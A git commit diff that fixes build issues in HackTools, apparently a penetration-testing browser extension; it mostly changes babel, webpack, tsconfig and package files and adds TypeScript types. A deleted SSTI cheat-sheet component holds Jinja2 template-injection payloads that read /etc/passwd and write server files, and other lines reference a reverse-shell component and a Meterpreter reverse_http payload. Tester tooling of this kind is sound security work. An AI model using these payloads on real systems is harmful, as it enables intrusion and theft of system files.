Fix build issues

This commit is contained in:
Ludovic COULON
2021-08-28 20:59:37 +02:00
parent 4131fd170e
commit 9caeeb4c8b
11 changed files with 167 additions and 212 deletions

View File

@@ -1,9 +1,14 @@
{
"presets": [
"@babel/preset-env",
"@babel/preset-typescript"
],
"plugins": [
"@babel/plugin-proposal-class-properties"
]
}
"presets": [
[
"@babel/preset-env",
{
"modules": false
}
],
"@babel/preset-react"
],
"plugins": [
"react-hot-loader/babel"
]
}

View File

@@ -15,9 +15,10 @@
"devDependencies": {
"@babel/cli": "^7.14.8",
"@babel/core": "^7.15.0",
"@babel/helper-call-delegate": "^7.12.13",
"@babel/plugin-proposal-class-properties": "^7.14.5",
"@babel/preset-env": "^7.15.0",
"@babel/preset-react": "^7.0.0",
"@babel/preset-react": "^7.14.5",
"@babel/preset-typescript": "^7.9.0",
"@types/antd": "^1.0.0",
"@types/crypto-js": "^4.0.2",
@@ -25,30 +26,24 @@
"@types/react-query": "^1.2.9",
"@types/react-syntax-highlighter": "^13.5.2",
"@types/use-persisted-state": "^0.3.0",
"babel-loader": "^8.0.6",
"babel-loader": "^8.2.2",
"clean-webpack-plugin": "^4.0.0-alpha.0",
"copy-webpack-plugin": "^9.0.1",
"css-loader": "^6.2.0",
"file-loader": "^6.2.0",
"html-webpack-plugin": "^5.3.2",
"react-hot-loader": "^4.13.0",
"style-loader": "^3.2.1",
"typescript": "^4.3.5",
"webpack": "^5.50.0",
"webpack-cli": "^4.8.0",
"webpack-dev-server": "^4.0.0"
},
"browserslist": {
"production": [
">0.2%",
"not dead",
"not op_mini all"
],
"development": [
"last 1 chrome version",
"last 1 firefox version",
"last 1 safari version"
]
},
"browserslist": [
">0.2%",
"not dead",
"not op_mini all"
],
"dependencies": {
"@ant-design/icons": "4.6.2",
"@hot-loader/react-dom": "^17.0.1",

View File

@@ -3,8 +3,8 @@ import ReactDOM from 'react-dom';
import { Router } from 'react-chrome-extension-router';
import { BackTop } from 'antd';
import { QueryClientProvider, QueryClient } from 'react-query';
import LayoutApp from './components/LayoutApp.jsx';
import ReverseShell from './components/linux/ReverseShell.jsx';
import LayoutApp from './components/LayoutApp';
import ReverseShell from './components/linux/ReverseShell';
import './assets/css/style.css';
const queryClient = new QueryClient();

View File

@@ -5,6 +5,7 @@ import MD5 from 'crypto-js/md5';
import SHA1 from 'crypto-js/sha1';
import SHA256 from 'crypto-js/sha256';
import SHA512 from 'crypto-js/sha512';
//@ts-ignore
import Sm3 from 'sm3';
import Clipboard from 'react-clipboard.js';
import QueueAnim from 'rc-queue-anim';
@@ -16,7 +17,7 @@ const IconFont = createFromIconfontCN({
});
const HashEncode = () => {
const [ input, setInput ] = useState('');
const [ input, setInput ] = useState<string>('');
const [ _, setHashType ] = useState('0');
const [ hashname, setHashname ] = useState('MD5');
const [ output, setOutput ] = useState('');
@@ -26,13 +27,13 @@ const HashEncode = () => {
};
const handleEncode = (hashtype: string) => {
if (hashtype === 'MD5') {
setOutput(MD5(input));
setOutput(MD5(input, undefined).toString());
} else if (hashtype === 'SHA1') {
setOutput(SHA1(input));
setOutput(SHA1(input, undefined).toString());
} else if (hashtype === 'SHA256') {
setOutput(SHA256(input));
setOutput(SHA256(input, undefined).toString());
} else if (hashtype === 'SHA512') {
setOutput(SHA512(input));
setOutput(SHA512(input, undefined).toString());
} else if (hashtype === 'SM3') {
setOutput(Sm3(input));
}

View File

@@ -16,17 +16,18 @@ import {
} from 'antd';
import { SendOutlined, FullscreenOutlined, ArrowsAltOutlined, DeleteOutlined } from '@ant-design/icons';
import { vs2015 } from 'react-syntax-highlighter/dist/esm/styles/hljs';
import axios, { Method } from 'axios';
import PersistedState from 'use-persisted-state';
import SyntaxHighlighter from 'react-syntax-highlighter';
import QueueAnim from 'rc-queue-anim';
import pretty from 'pretty';
import axios, { Method } from 'axios';
const { Title, Paragraph } = Typography;
const { TabPane } = Tabs;
const { TextArea } = Input;
const { Option } = Select;
export const HTTPUtils = () => {
export default function LinuxCommands() {
const http_url = PersistedState('http_url_repeater');
const [ isModalVisible, setIsModalVisible ] = useState(false);
@@ -67,15 +68,24 @@ export const HTTPUtils = () => {
setValues({ ...values, [name]: event });
};
interface Content {
status: string | number;
statusText: string;
headers: {
[key: string]: string;
};
data: string;
}
// Axios fetch
const key = 'updatable';
const [ content, setContent ] = useState([]);
const [ content, setContent ] = useState<Content>();
const [ headerContent, setHeaderContent ] = useState([]);
const [ commentResponse, setCommentResponse ] = useState([]);
const [ inputResponse, setInputResponse ] = useState([]);
const [ _, setLoading ] = useState<Boolean>();
const handleDelete = () => {
setContent([]);
setContent(undefined);
setHeaderContent([]);
setCommentResponse([]);
setInputResponse([]);
@@ -171,7 +181,7 @@ export const HTTPUtils = () => {
<Button type='link' danger icon={<DeleteOutlined />} onClick={() => handleDelete()} />
</Col>
</Row>
{content != '' ? (
{!content ? (
<div style={{ padding: 15 }}>
<Descriptions title='Request info' style={{ marginBottom: 15 }}>
<Descriptions.Item label='Status code'>
@@ -230,20 +240,33 @@ export const HTTPUtils = () => {
{pretty(content.data) || <pre>No response</pre>}
</SyntaxHighlighter>
</TabPane>
{commentResponse != '' && (
{!commentResponse && (
<TabPane tab='Comment Only' key='2'>
{commentResponse.map((matches) => {
return (
<SyntaxHighlighter language='htmlbars' style={vs2015}>
{matches};
</SyntaxHighlighter>
);
})}
{commentResponse.map(
(
matches:
| string
| number
| boolean
| {}
| React.ReactElement<any, string | React.JSXElementConstructor<any>>
| React.ReactNodeArray
| React.ReactPortal
| null
| undefined
) => {
return (
<SyntaxHighlighter language='htmlbars' style={vs2015}>
{matches};
</SyntaxHighlighter>
);
}
)}
</TabPane>
)}
{inputResponse != '' && (
{!inputResponse && (
<TabPane tab='Form / Input Only' key='3'>
{inputResponse.map((matches) => {
{inputResponse.map((matches: string) => {
return (
<SyntaxHighlighter language='htmlbars' style={vs2015} showLineNumbers={true}>
{pretty(matches)};
@@ -283,4 +306,4 @@ export const HTTPUtils = () => {
)}
</QueueAnim>
);
};
}

View File

@@ -85,7 +85,7 @@ const MSFBuilder = () => {
allowClear
onChange={handleChangeSelect('Payload')}
placeholder='python/meterpreter/reverse_http'
filterOption={(inputValue, option: any) =>
filterOption={(inputValue, option) =>
option.value.toLowerCase().indexOf(inputValue.toLowerCase()) >= 0}
>
{payloads.map(

View File

@@ -1,71 +0,0 @@
import React from 'react';
import { Typography, Divider } from 'antd';
const { Title, Paragraph } = Typography;
import QueueAnim from 'rc-queue-anim';
export default function SSTI() {
const python_jinja_read = [
{
title: `{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}`
},
{
title: `{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}`
}
];
const python_jinja_write = [
{
title: `{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}`
}
];
return (
<QueueAnim delay={300} duration={1500}>
<Title level={3} style={{ fontWeight: 'bold', margin: 15 }}>
Template Injections (SSTI)
</Title>
<Paragraph style={{ margin: 15 }}>
Template injection allows an attacker to include template code into an existant (or not) template. A
template engine makes designing HTML pages easier by using static template files which at runtime
replaces variables/placeholders with actual values in the HTML pages
</Paragraph>
<Divider dashed />
<Title style={{ margin: 15 }} level={4}>
Jinja2 ( Flask / Django )
</Title>
<div
key='a'
style={{
padding: 15
}}
>
<Title level={3}>File reading</Title>
<Paragraph />
{python_jinja_read.map((k, i) => {
return (
<Paragraph key={i} copyable>
{k.title}
</Paragraph>
);
})}
</div>
<Divider dashed />
<div
key='b'
style={{
padding: 15
}}
>
<Title level={3}>Write into a file</Title>
<Paragraph />
{python_jinja_write.map((k, i) => {
return (
<Paragraph key={i} copyable>
{k.title}
</Paragraph>
);
})}
</div>
</QueueAnim>
);
}

View File

@@ -1,10 +1,13 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>HackTools</title>
</head>
<body>
<div id="app"></div>
</body>
</html>
<head>
<meta charset="UTF-8" />
<title>Hack-Tools</title>
</head>
<body>
<div id="app"></div>
</body>
</html>

View File

@@ -1,13 +0,0 @@
import axios from 'axios';
declare module 'axios' {
export interface AxiosInstance {
request<T = any>(config: AxiosRequestConfig): Promise<T>;
get<T = any>(url: string, config?: AxiosRequestConfig): Promise<T>;
delete<T = any>(url: string, config?: AxiosRequestConfig): Promise<T>;
head<T = any>(url: string, config?: AxiosRequestConfig): Promise<T>;
post<T = any>(url: string, data?: any, config?: AxiosRequestConfig): Promise<T>;
put<T = any>(url: string, data?: any, config?: AxiosRequestConfig): Promise<T>;
patch<T = any>(url: string, data?: any, config?: AxiosRequestConfig): Promise<T>;
}
}

View File

@@ -1,18 +1,16 @@
{
"compilerOptions": {
"strict": true,
"module": "commonjs",
"target": "ES6",
"lib": [
"dom",
"dom.iterable",
"esnext"
],
"esModuleInterop": true,
"rootDir": "src",
"outDir": "dist",
"noEmitOnError": true,
"jsx": "react",
"typeRoots": [ "node_modules/@types", "./src/types/" ]
}
"module": "commonjs",
"noImplicitAny": true,
"outDir": "./dist/",
"preserveConstEnums": true,
"removeComments": true,
"esModuleInterop": true,
"sourceMap": true,
"target": "es5"
},
"include": [
"./src/**/**/*"
]
}

View File

@@ -1,76 +1,90 @@
const webpack = require('webpack');
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const { CleanWebpackPlugin } = require('clean-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
const config = {
module.exports = {
mode: 'development',
entry: {
app: path.join(__dirname, 'src/App.tsx')
app: './src/App.tsx',
vendor: [ 'react', 'react-dom' ]
},
devtool: 'source-map',
output: { path: path.join(__dirname, 'dist'), filename: '[name].js' },
module: {
rules: [
{
test: /\.(js|jsx)$/,
exclude: /(node_modules|bower_components)/,
use: 'babel-loader'
},
{
test: /\.css$/,
use: [ 'style-loader', 'css-loader' ],
exclude: /\.module\.css$/
},
{
test: /\.ts(x)?$/,
loader: 'ts-loader',
exclude: /node_modules/
},
{
test: /\.css$/,
use: [
'style-loader',
{
loader: 'css-loader',
options: {
importLoaders: 1,
modules: true
}
}
],
include: /\.module\.css$/
},
{
test: /\.svg$/,
use: 'file-loader'
},
{
test: /\.png$/,
use: [
{
loader: 'url-loader',
options: {
mimetype: 'image/png'
}
}
]
}
]
},
plugins: [
new webpack.HotModuleReplacementPlugin(),
new CleanWebpackPlugin(),
new HtmlWebpackPlugin({
title: 'Output Management',
template: './src/index.html'
}),
new CopyWebpackPlugin({
patterns: [
{
from: './src/manifest.json',
to: './',
noErrorOnMissing: true
},
{
from: './src/assets/img/icons/*',
to: './',
noErrorOnMissing: true
},
{
from: './src/assets/icons/*',
to: './',
noErrorOnMissing: true
},
{
from: './src/devtools/*',
to: './',
noErrorOnMissing: true
},
{
from: './src/assets/img/icons/iconfont.js',
to: './',
noErrorOnMissing: true
}
]
})
],
resolve: {
extensions: [ '.js', '.jsx', '.tsx', '.ts' ],
alias: {
'react-dom': '@hot-loader/react-dom'
}
},
devServer: {
contentBase: './dist'
output: {
filename: '[name].bundle.js',
path: path.resolve(__dirname, 'dist')
},
plugins: [
new CopyWebpackPlugin({
patterns: [ { from: 'dist', to: '.' } ]
})
]
module: {
rules: [
{
test: /\.(js|jsx)$/,
include: path.resolve(__dirname, 'src'),
loader: 'babel-loader'
},
{
test: /\.(ts|tsx)$/,
loader: 'ts-loader',
exclude: /node_modules/
},
{
test: /\.css$/,
include: path.resolve(__dirname, 'src'),
use: [ 'style-loader', 'css-loader' ]
},
{
test: /\.(png|svg|jpg|gif)$/,
include: path.resolve(__dirname, 'src'),
use: [ 'file-loader' ]
},
{
test: /\.(woff|woff2|eot|ttf|otf)$/,
include: path.resolve(__dirname, 'src'),
use: [ 'file-loader' ]
}
]
}
};
module.exports = config;